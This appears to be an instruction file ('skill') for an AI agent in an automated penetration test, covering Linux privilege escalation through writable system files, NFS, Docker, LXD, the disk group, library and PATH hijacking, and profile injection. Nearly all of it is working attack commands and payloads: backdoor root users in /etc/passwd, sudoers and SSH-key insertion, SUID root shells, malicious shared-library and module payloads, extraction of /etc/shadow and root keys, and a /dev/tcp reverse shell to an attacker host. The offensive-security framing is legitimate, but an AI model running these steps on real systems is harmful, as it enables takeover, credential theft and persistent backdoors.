Linux File, Path, and Group-Based Privilege Escalation

You are helping a penetration tester exploit writable files, filesystem misconfigurations, shared library loading, and privileged group membership for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [linux-file-path-abuse] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on Linux target
• At least one of: writable critical file, NFS mount, missing shared library, privileged group membership, writable PATH directory, or writable profile script
• gcc (for shared library payloads and NFS SUID binaries — can cross-compile on attacker)

Step 1: Assess Available Vectors

Determine which file/path/group vectors are available. If coming from linux-discovery, the routing should specify the vector. Otherwise, enumerate:

# Writable critical files
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null
test -w /etc/passwd && echo "WRITABLE: /etc/passwd"
test -w /etc/shadow && echo "WRITABLE: /etc/shadow"
test -w /etc/sudoers && echo "WRITABLE: /etc/sudoers"

# NFS exports
cat /etc/exports 2>/dev/null
showmount -e localhost 2>/dev/null
mount | grep nfs

# Group membership
id
groups

# Writable PATH directories
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE PATH: $d"; done

# Library loading
cat /etc/ld.so.conf 2>/dev/null
ls -la /etc/ld.so.conf.d/ 2>/dev/null

# Profile scripts
ls -la ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null
ls -la /etc/profile /etc/profile.d/ 2>/dev/null
ls -la /root/.bashrc /root/.profile 2>/dev/null

Decision tree — go to the first matching step:

Finding	Go to
Writable /etc/passwd	Step 2
Writable /etc/shadow	Step 2
Writable /etc/sudoers or /etc/sudoers.d/	Step 2
NFS no_root_squash	Step 3
docker group	Step 4
lxd/lxc group	Step 5
disk group	Step 6
Missing .so on SUID binary	Step 7
Writable ld.so.conf or ld.so.conf.d/	Step 7
RPATH/RUNPATH with writable dir	Step 7
Writable PATH directory + root script using relative binary	Step 8
Writable profile scripts (.bashrc, /etc/profile.d/)	Step 9
Writable SSH authorized_keys for root	Step 2

Step 2: Writable Critical Files

/etc/passwd — Add UID 0 User

# Check current format
head -3 /etc/passwd

# Generate password hash (pick one)
openssl passwd -1 "password123"          # MD5 ($1$)
openssl passwd -6 "password123"          # SHA-512 ($6$) — preferred
# Or passwordless — just set 'x' and rely on su without auth (some systems)

# Add backdoor root user
echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Switch to new user
su backdoor
# Enter: password123

# Verify
id

Alternative — modify existing user to UID 0:

# Change your user's UID to 0 (destructive — breaks your normal account)
sed -i 's/^youruser:x:1000:1000:/youruser:x:0:0:/' /etc/passwd
su youruser

/etc/shadow — Replace Root Hash

# Generate new hash
openssl passwd -6 "newrootpass"

# Replace root's hash (backup first)
# Format: root:$6$salt$hash:days_since_epoch:min:max:warn:inactive:expire:
sed -i "s|^root:[^:]*:|root:\$6\$salt\$HASH_HERE:|" /etc/shadow

su root
# Enter: newrootpass

/etc/sudoers — Grant NOPASSWD

# IMPORTANT: invalid sudoers breaks sudo for everyone — validate syntax
# Add NOPASSWD entry
echo "youruser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# Validate (if visudo available)
visudo -c

# Use it
sudo su

Writable /etc/sudoers.d/ directory:

echo "youruser ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/privesc
chmod 440 /etc/sudoers.d/privesc
sudo su

SSH Authorized Keys

# Generate keypair on attacker (if needed)
ssh-keygen -t ed25519 -f /tmp/privesc_key -N ""

# Write to root's authorized_keys
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...key... privesc" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

# Connect
ssh -i /tmp/privesc_key root@localhost

OPSEC notes:

• /etc/passwd changes visible to all users immediately
• Invalid /etc/sudoers syntax breaks sudo for entire system
• SSH key addition logged in auth.log when used
• File modification timestamps updated — check with stat

After success → report finding, proceed to Step 10: Escalation and Routing.

Step 3: NFS no_root_squash

NFS exports with no_root_squash allow root-privileged operations from the NFS client. The attacker mounts the share on a machine where they have root, creates a SUID binary, then executes it from the low-privilege account on the target.

Enumerate

# On target — find NFS exports
cat /etc/exports 2>/dev/null | grep -v "^#"
# Look for: no_root_squash (critical), insecure, no_subtree_check

# From attacker — enumerate target NFS
showmount -e TARGET_IP

# Check mounted shares on target
mount | grep nfs
df -h | grep nfs

# Check mount options (nosuid blocks this attack)
mount | grep nfs | grep -i "nosuid"

Exploit — SUID Binary via NFS

On attacker machine (as root):

# Mount the NFS share
mkdir -p /tmp/nfs
mount -t nfs TARGET_IP:/exported_share /tmp/nfs

# Create SUID shell
cat > /tmp/nfs/suid_shell.c << 'PAYLOAD'
#include <stdio.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}
PAYLOAD

gcc -o /tmp/nfs/suid_shell /tmp/nfs/suid_shell.c
chmod 4755 /tmp/nfs/suid_shell
rm /tmp/nfs/suid_shell.c

On target (as low-privilege user):

# Execute the SUID binary
/path/to/nfs/mount/suid_shell

# Verify
id
whoami

Alternative — copy bash with SUID:

# On attacker (as root, on NFS mount)
cp /bin/bash /tmp/nfs/rootbash
chmod 4755 /tmp/nfs/rootbash

# On target
/path/to/nfs/mount/rootbash -p

Troubleshooting:

• mount: permission denied → target may require -o vers=3 or specific NFS version
• SUID bit not preserved → share mounted with nosuid option (attack blocked)
• Binary won't execute → share mounted with noexec (try script-based approach instead)
• Operation not permitted on chmod → NFS has root_squash (default — not exploitable)

After success → report finding, proceed to Step 10.

Step 4: Docker Group Escape

Docker group membership allows launching containers. Mount the host filesystem into a container and modify critical files as root (container root = host root with -v).

Enumerate

# Confirm docker group and daemon access
groups | grep docker
docker ps 2>/dev/null
docker images 2>/dev/null

# Check if docker.sock is accessible
ls -la /var/run/docker.sock

Exploit — Mount Host Filesystem

# Option 1: Interactive shell with host mounted
docker run --rm -it -v /:/mnt alpine chroot /mnt bash

# Option 2: Create SUID bash on host
docker run --rm -v /:/mnt alpine sh -c "cp /mnt/bin/bash /mnt/tmp/rootbash && chmod 4755 /mnt/tmp/rootbash"
/tmp/rootbash -p

# Option 3: Add backdoor user to host /etc/passwd
docker run --rm -v /:/mnt alpine sh -c "echo 'backdoor:\$6\$salt\$hash:0:0::/root:/bin/bash' >> /mnt/etc/passwd"
su backdoor

# Option 4: Add SSH key to root
docker run --rm -v /:/mnt alpine sh -c "mkdir -p /mnt/root/.ssh && echo 'ssh-ed25519 KEY' >> /mnt/root/.ssh/authorized_keys"

If no images are available:

# Pull minimal image
docker pull alpine

# Or use --privileged for full host access
docker run --rm -it --privileged --pid=host alpine nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Docker socket via API (if docker CLI unavailable):

# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

# Create privileged container via API
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cp /host/bin/bash /host/tmp/rootbash && chmod 4755 /host/tmp/rootbash"],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create

# Start it (use the container ID from response)
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/CONTAINER_ID/start

OPSEC notes:

• Container creation logged by docker daemon (/var/log/docker.log, journalctl)
• Image pull creates network activity
• Mount operations visible in process listing

After success → report finding, proceed to Step 10.

Step 5: LXD/LXC Group Escape

LXD/LXC group membership allows container management. Create a privileged container with the host filesystem mounted, then modify files as root inside it.

Enumerate

groups | grep -E "lxd|lxc"
lxc list 2>/dev/null
lxc image list 2>/dev/null

Exploit — Privileged Container with Host Mount

# Initialize LXD if not already done (may prompt — use defaults)
lxd init --auto 2>/dev/null

# Import image if none available
# Option A: from local image (faster, no network)
# Build on attacker: lxc image export alpine /tmp/alpine.tar.gz
# Transfer to target, then:
lxc image import /tmp/alpine.tar.gz --alias privesc-img

# Option B: from remote (requires network)
lxc image copy images:alpine/3.18 local: --alias privesc-img

# Create privileged container
lxc init privesc-img privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/host recursive=true
lxc start privesc

# Get root shell inside container
lxc exec privesc -- /bin/sh

# Inside container — modify host
echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
# Or create SUID bash
cp /mnt/host/bin/bash /mnt/host/tmp/rootbash
chmod 4755 /mnt/host/tmp/rootbash

# Exit container, use from host
exit
/tmp/rootbash -p

Cleanup:

lxc stop privesc
lxc delete privesc
lxc image delete privesc-img

Troubleshooting:

• Error: not found on lxd init → LXD not installed, only LXC available; use lxc-create and lxc-attach instead
• Storage backend errors → try lxd init with dir backend
• Image import fails → use lxc-create -t download for LXC (non-LXD)

After success → report finding, proceed to Step 10.

Step 6: Disk Group — Raw Device Access

The disk group grants read access to block devices (/dev/sda*). Use debugfs to extract sensitive files without normal file permissions.

Enumerate

groups | grep disk
ls -la /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null
lsblk

# Identify root filesystem device
df / | tail -1 | awk '{print $1}'

Exploit — Read Sensitive Files via debugfs

# Extract /etc/shadow
debugfs /dev/sda1 -R 'cat /etc/shadow' 2>/dev/null

# Extract SSH private keys
debugfs /dev/sda1 -R 'cat /root/.ssh/id_rsa' 2>/dev/null

# Extract other sensitive files
debugfs /dev/sda1 -R 'cat /etc/sudoers' 2>/dev/null
debugfs /dev/sda1 -R 'cat /root/.bash_history' 2>/dev/null

Save extracted hashes for cracking:

# Save shadow content to evidence
debugfs /dev/sda1 -R 'cat /etc/shadow' 2>/dev/null > engagement/evidence/shadow-hashes.txt

Do NOT crack hashes in this skill. Save the shadow hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (SHA-512 crypt / hashcat mode 1800, or MD5 crypt / mode 500), and a routing recommendation to credential-recovery.

Alternative — dd full filesystem:

# Copy entire partition (large — use only if needed)
dd if=/dev/sda1 bs=4M | gzip > /tmp/sda1.img.gz

# Mount on attacker
gunzip sda1.img.gz
mount -o loop sda1.img /mnt/extracted
cat /mnt/extracted/etc/shadow

Write access (if disk group has write):

# WARNING: writing raw blocks can corrupt filesystem
# Use debugfs write mode only if confident
debugfs -w /dev/sda1
# debugfs: write /tmp/backdoor /usr/local/bin/backdoor

Troubleshooting:

• debugfs: Bad magic number → not ext2/3/4 filesystem; try xfs_db for XFS
• Permission denied on device → disk group may not have read on this device
• Only read access → extract credentials and crack, or look for SSH keys

After success → report finding, proceed to Step 10.

Step 7: Shared Library Hijacking

Exploit the dynamic linker's library search order to inject malicious shared objects that execute when a privileged binary loads them.

7a: Missing Shared Object on SUID/Privileged Binary

# Find SUID binaries with missing libraries
find / -perm -4000 -type f 2>/dev/null | while read bin; do
  ldd "$bin" 2>/dev/null | grep "not found" && echo "  ^ from: $bin"
done

# Or use strace on specific binary
strace /usr/bin/target_suid 2>&1 | grep -E "open(at)?\(.*\.so" | grep -i "no such"

Exploit — inject missing .so:

cat > /tmp/privesc.c << 'PAYLOAD'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Constructor runs when library is loaded
void __attribute__((constructor)) init(void) {
    setuid(0);
    setgid(0);
    unsetenv("LD_PRELOAD");
    system("/bin/bash -p");
}
PAYLOAD

gcc -shared -fPIC -o /tmp/libmissing.so /tmp/privesc.c

# Place in the directory the binary searches
# (check strace output for exact path)
cp /tmp/libmissing.so /path/where/binary/looks/libmissing.so

# Execute the SUID binary — it loads our library
/usr/bin/target_suid

7b: RPATH/RUNPATH with Writable Directory

# Check RPATH/RUNPATH on SUID binaries
find / -perm -4000 -type f 2>/dev/null | while read bin; do
  rpath=$(readelf -d "$bin" 2>/dev/null | grep -iE "rpath|runpath" | awk '{print $NF}' | tr -d '[]')
  [ -n "$rpath" ] && echo "$bin → $rpath"
done

# Check if RPATH directory is writable
# If RPATH=./lib or /opt/app/lib and writable:
ls -ld /opt/app/lib 2>/dev/null

Exploit — inject library in RPATH directory:

# Identify which library to hijack
ldd /usr/bin/target_suid | head -5
# Pick a library that's loaded from the RPATH directory

# Create malicious version (same filename)
gcc -shared -fPIC -o /writable/rpath/dir/libtarget.so /tmp/privesc.c

# Execute SUID binary
/usr/bin/target_suid

7c: Writable /etc/ld.so.conf or /etc/ld.so.conf.d/

# Check permissions
ls -la /etc/ld.so.conf /etc/ld.so.conf.d/ 2>/dev/null

# If writable, add controlled directory to search path
echo "/tmp/privlibs" > /etc/ld.so.conf.d/privesc.conf

# Create directory with malicious library
mkdir -p /tmp/privlibs

# Find which library a root-executed binary loads
ldd /usr/bin/target_binary | head -3
# Create malicious version of that library
gcc -shared -fPIC -o /tmp/privlibs/libtarget.so.1 /tmp/privesc.c

# Refresh cache (requires ldconfig execution — may need to wait for cron/reboot)
ldconfig 2>/dev/null

# When target binary runs as root, our library loads first

7d: Python/Perl Library Path Hijacking

When a root-executed script imports modules, hijack the import path:

Python:

# Find Python scripts run as root (from pspy or cron)
# Check if import path includes writable directories
python3 -c "import sys; print('\n'.join(sys.path))"

# Create malicious module in first writable path
cat > /tmp/os.py << 'PAYLOAD'
import subprocess
import importlib
subprocess.call(["/bin/bash", "-p"])
# Re-import real os to avoid breaking the script
PAYLOAD

# If script runs with PYTHONPATH including /tmp, or /tmp is in sys.path:
PYTHONPATH=/tmp /usr/bin/root_script.py

Perl:

cat > /tmp/strict.pm << 'PAYLOAD'
BEGIN {
    system("/bin/bash -p");
}
1;
PAYLOAD

PERL5LIB=/tmp /usr/bin/root_script.pl

OPSEC notes:

• Malicious .so files are obvious artifacts
• ldconfig modifications change system-wide library resolution
• Broken libraries can crash system services
• Constructor functions leave process traces

After success → report finding, proceed to Step 10.

Step 8: PATH Hijacking in Scripts and Services

When a privileged script or service calls a binary without a full path, inject a malicious binary earlier in PATH.

Identify the Target

# Find scripts that use relative binary names (from pspy, cron, or service files)
# Example: cron script calls "tar" not "/usr/bin/tar"

# Check which directories are in PATH for the privileged process
# pspy output shows: CMD: UID=0 ... /bin/sh /opt/scripts/backup.sh
cat /opt/scripts/backup.sh | grep -v "^#" | grep -oE "^[a-z]+" | sort -u

# Find writable directories in standard PATH locations
for d in /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin; do
  [ -w "$d" ] && echo "WRITABLE: $d"
done

Exploit

# If script calls "tar" without full path, and /usr/local/bin is writable:
cat > /usr/local/bin/tar << 'PAYLOAD'
#!/bin/bash
# Payload — create SUID bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Run real tar to avoid breaking the script
/usr/bin/tar "$@"
PAYLOAD
chmod 755 /usr/local/bin/tar

# Wait for privileged script to execute (cron, service restart, etc.)
# Then:
/tmp/rootbash -p

Writable PATH + cron interaction:

# If cron script sets PATH=/usr/local/bin:/usr/bin:/bin and /usr/local/bin is writable:
# Same technique — place payload binary in /usr/local/bin

Staff group exploitation:

# staff group typically has write to /usr/local/
groups | grep staff
ls -ld /usr/local/bin /usr/local/lib

# Place binary in /usr/local/bin — will be found before /usr/bin in most PATH configs

After success → report finding, proceed to Step 10.

Step 9: Profile Script Injection

Inject commands into shell profile scripts that execute when a privileged user logs in. This is a waiting attack — payload fires when the target user next opens an interactive shell.

Identify Writable Profiles

# User-level profiles
ls -la ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2>/dev/null

# System-level profiles
ls -la /etc/profile /etc/bash.bashrc 2>/dev/null
ls -la /etc/profile.d/ 2>/dev/null

# Root profiles (if readable to check, writable to exploit)
ls -la /root/.bashrc /root/.profile 2>/dev/null

Exploit

Inject SUID creation into root's profile:

# If /root/.bashrc is writable
echo 'cp /bin/bash /tmp/rootbash 2>/dev/null; chmod 4755 /tmp/rootbash 2>/dev/null' >> /root/.bashrc
# Wait for root to log in (SSH, su, etc.), then:
/tmp/rootbash -p

System-wide profile injection:

# If /etc/profile.d/ is writable — affects ALL users on login
cat > /etc/profile.d/zzz-privesc.sh << 'PAYLOAD'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
    cp /bin/bash /tmp/rootbash 2>/dev/null
    chmod 4755 /tmp/rootbash 2>/dev/null
fi
PAYLOAD
chmod 644 /etc/profile.d/zzz-privesc.sh

Reverse shell variant (if SUID approach won't work):

echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> /root/.bashrc
# Set up listener: nc -lvnp PORT

OPSEC notes:

• Profile modification is persistent — survives reboots
• Obvious on inspection (cat ~/.bashrc)
• Triggers only on interactive login (not scripts, not cron)
• System-wide profiles affect all users — more likely to be noticed
• Use zzz- prefix to load last (after other profile.d scripts)

After success → report finding, proceed to Step 10.

Step 10: Escalation and Routing

Troubleshooting

Problem	Cause	Fix
Permission denied writing to /etc/passwd	Not actually writable	Re-check with ls -la, look for ACLs with getfacl
NFS SUID bit not preserved	nosuid mount option	Attack blocked — try file write approach instead
Docker permission denied	Docker daemon not running	Check systemctl status docker, look for docker.sock
LXD Error: not found	LXD not initialized	Run lxd init --auto first
debugfs shows nothing	Wrong device or not ext filesystem	Check lsblk, try xfs_db for XFS
Library hijack crashes binary	Wrong .so name or ABI mismatch	Check exact expected name with ldd, match soname
PATH hijack not triggering	Script uses full path	Check script source; full paths (/usr/bin/tar) aren't hijackable
Profile injection not firing	Target uses non-interactive shell	Only works on login shells; try cron/service approach instead
Operation not permitted on chmod 4755	Filesystem mounted nosuid	Check `mount

Cleanup Reminders

Remind the user to clean up after testing:

# Remove backdoor users from /etc/passwd
sed -i '/^backdoor:/d' /etc/passwd

# Remove SUID shells
rm -f /tmp/rootbash /tmp/suid_shell

# Remove injected sudoers entries
rm -f /etc/sudoers.d/privesc

# Remove profile injections
# Edit ~/.bashrc or /etc/profile.d/ to remove injected lines

# Remove NFS artifacts
rm -f /path/to/nfs/suid_shell

# Remove containers
docker rm -f $(docker ps -aq) 2>/dev/null
lxc stop privesc && lxc delete privesc 2>/dev/null

# Remove library hijacks
rm -f /tmp/privlibs/*.so /tmp/privesc.c /tmp/libmissing.so

# Remove PATH hijack binaries
rm -f /usr/local/bin/tar  # or whatever was hijacked